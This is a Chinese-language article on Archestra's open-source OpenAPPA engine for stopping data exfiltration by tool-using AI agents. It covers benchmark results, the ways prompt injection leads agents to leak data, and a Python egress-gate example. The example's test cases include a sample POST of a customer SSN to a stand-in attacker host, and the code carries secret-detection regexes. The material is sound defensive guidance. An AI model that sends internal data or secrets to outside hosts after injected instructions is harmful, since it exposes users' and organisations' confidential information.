Archestra 发布了开源安全引擎 OpenAPPA,目标是阻止提示词注入或模型幻觉引发的数据外泄。团队报告称,在 Bench-Corp 与 AgentThreatBench 两项安全基准中,没有攻击成功;作为对照,Claude Code 自动模式的攻击成功率为 10%,Microsoft FIDES 为 31%。
这个结果很醒目,但更值得工程团队关注的是背后的安全边界:不能只要求模型“识别恶意提示”,还要在智能体调用邮件、HTTP、数据库和文件系统等工具时,对数据出口实施独立授权。
为什么智能体的数据外泄更难防
传统聊天机器人即使受到提示词注入,影响往往停留在错误回答。具备工具调用能力的智能体则可以产生真实副作用,例如:
- 从企业知识库读取客户资料,再发送到攻击者控制的地址;
- 把环境变量、访问令牌或私有代码提交到外部 HTTP 接口;
- 因模型幻觉选择错误的收件人、存储桶或数据库;
- 在多步骤流程中,将早期读取的敏感数据带入后续工具参数。
Bench-Corp 包含 20 个多步骤企业工作流,这一点尤其重要。真实攻击不一定表现为一条明显的恶意指令,而可能跨越“读取文档—生成摘要—调用外部服务”多个步骤。只检查用户最初输入,无法覆盖完整的数据流。
OpenAPPA 的定位说明了一个实用方向:把模型视为不完全可信的决策组件,在执行层再建立安全控制。即使模型接受了恶意指令,外泄动作仍应被工具网关、策略引擎或运行时拦截。
如何理解“0% 攻击成功率”
这里的攻击成功率可以简单理解为:
Attack Success Rate = 成功完成攻击目标的测试次数 / 攻击尝试总次数
按照 Archestra 公布的结果,OpenAPPA 在 Bench-Corp 和 AgentThreatBench 上均为 0%,即测试集合内没有攻击完成预定目标。这个数字优于其报告中的两个对照结果:Claude Code 自动模式为 10%,Microsoft FIDES 为 31%。
不过,0% 不应被解释为“系统不可能被攻破”。评估时还需要确认:
- 测试配置是否一致:模型版本、系统提示词、工具权限和重试次数都会影响结果。
- 攻击样本有多少:百分比需要结合实际测试次数和置信区间理解。
- 正常任务是否受损:全部拒绝工具调用也能降低攻击成功率,却会让智能体失去用途。
- 是否覆盖新型攻击:基准只能代表已定义的攻击分布,不能覆盖未来的编码、分片外泄或跨工具组合攻击。
- 判定标准是什么:是只要发送了一个敏感字段就算成功,还是必须完成整个攻击链?
因此,团队在评估安全引擎时,应同时记录攻击成功率、正常任务完成率、误拦截率和策略处理延迟。
可以这样实践:在工具调用前增加出口闸门
摘要没有给出 OpenAPPA 的具体接口,下面是一个独立、可运行的参考实现,用于展示如何在智能体和工具之间增加确定性的出口检查;它不是 OpenAPPA SDK 示例。接入真实引擎时,可以保留相同的调用边界,再按照项目文档替换 authorize 函数。
将以下内容保存为 guard.py:
from dataclasses import dataclass
from typing import Any
from urllib.parse import urlparse
import json
import re
ALLOWED_TOOLS = {"search_docs", "http_post", "send_email"}
ALLOWED_HTTP_HOSTS = {"api.corp.example"}
ALLOWED_EMAIL_DOMAINS = {"corp.example"}
SECRET_PATTERNS = [
re.compile(r"AKIA[0-9A-Z]{16}"),
re.compile(r"-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----"),
re.compile(r"customer_ssn\s*[:=]\s*\d{3}-\d{2}-\d{4}", re.I),
]
@dataclass
class ToolCall:
name: str
arguments: dict[str, Any]
def contains_secret(value: Any) -> bool:
text = json.dumps(value, ensure_ascii=False)
return any(pattern.search(text) for pattern in SECRET_PATTERNS)
def authorize(call: ToolCall) -> tuple[bool, str]:
if call.name not in ALLOWED_TOOLS:
return False, "tool is not allow-listed"
# 无论模型给出什么理由,敏感数据都不能进入外发工具参数。
if call.name in {"http_post", "send_email"} and contains_secret(call.arguments):
return False, "possible secret detected in outbound payload"
if call.name == "http_post":
host = urlparse(call.arguments.get("url", "")).hostname
if host not in ALLOWED_HTTP_HOSTS:
return False, f"HTTP destination is not approved: {host}"
if call.name == "send_email":
recipient = call.arguments.get("to", "")
domain = recipient.rsplit("@", 1)[-1] if "@" in recipient else ""
if domain not in ALLOWED_EMAIL_DOMAINS:
return False, f"email domain is not approved: {domain}"
return True, "policy passed"
def execute(call: ToolCall) -> None:
allowed, reason = authorize(call)
status = "ALLOW" if allowed else "BLOCK"
print(f"{status}: {call.name}: {reason}")
if not allowed:
return
# 示例只打印,不实际访问网络。生产环境应在这里调用真实工具。
print("Would execute:", json.dumps(call.arguments, ensure_ascii=False))
if __name__ == "__main__":
calls = [
ToolCall(
"send_email",
{"to": "audit@corp.example", "subject": "日报", "body": "任务完成 18 项"},
),
ToolCall(
"http_post",
{
"url": "https://collector.attacker.example/upload",
"json": {"customer_ssn": "123-45-6789"},
},
),
]
for item in calls:
execute(item)
运行:
python guard.py
预期结果是一条内部邮件调用被允许,而发送到未授权域名且包含敏感字段的 HTTP 调用被阻止。生产实现还需要补充:
- 对参数使用结构化 schema,而不是只做字符串扫描;
- 给数据附加敏感级别和来源标签,并在多步骤流程中传播标签;
- 对外发域名、收件人、文件路径和数据库操作分别授权;
- 将策略判定、模型请求、工具参数和最终结果写入不可篡改的审计日志;
- 对高风险操作加入人工确认、限速和短时凭证;
- 防止模型直接绕过网关访问网络或读取宿主机密钥。
字符串正则只能作为最后一道轻量检查,不能代替密钥管理、网络隔离和最小权限设计。
引入安全引擎时的评估清单
在试点 OpenAPPA 或同类方案时,可以从一条包含真实工具的窄流程开始,而不是一次性覆盖所有智能体:
- 选择一个既会读取内部数据、又可能向外发送结果的工作流;
- 固定模型版本、温度、系统提示词和工具权限,建立可重复基线;
- 同时运行直接注入、间接文档注入、编码数据和多步骤外泄测试;
- 记录攻击成功率以及正常任务完成率,避免用“全部拦截”换取漂亮数字;
- 对策略失败采用默认拒绝,并为必要业务准备受控降级路径;
- 定期加入自有红队样本,不把公开基准当作完整威胁模型。
OpenAPPA 报告的 0% 攻击成功率为智能体安全提供了一个有价值的信号,但基准成绩只是起点。真正可靠的部署,应让模型负责提出动作,让独立策略层决定动作能否执行,并把身份、数据分类、目的地和审计串成完整控制链。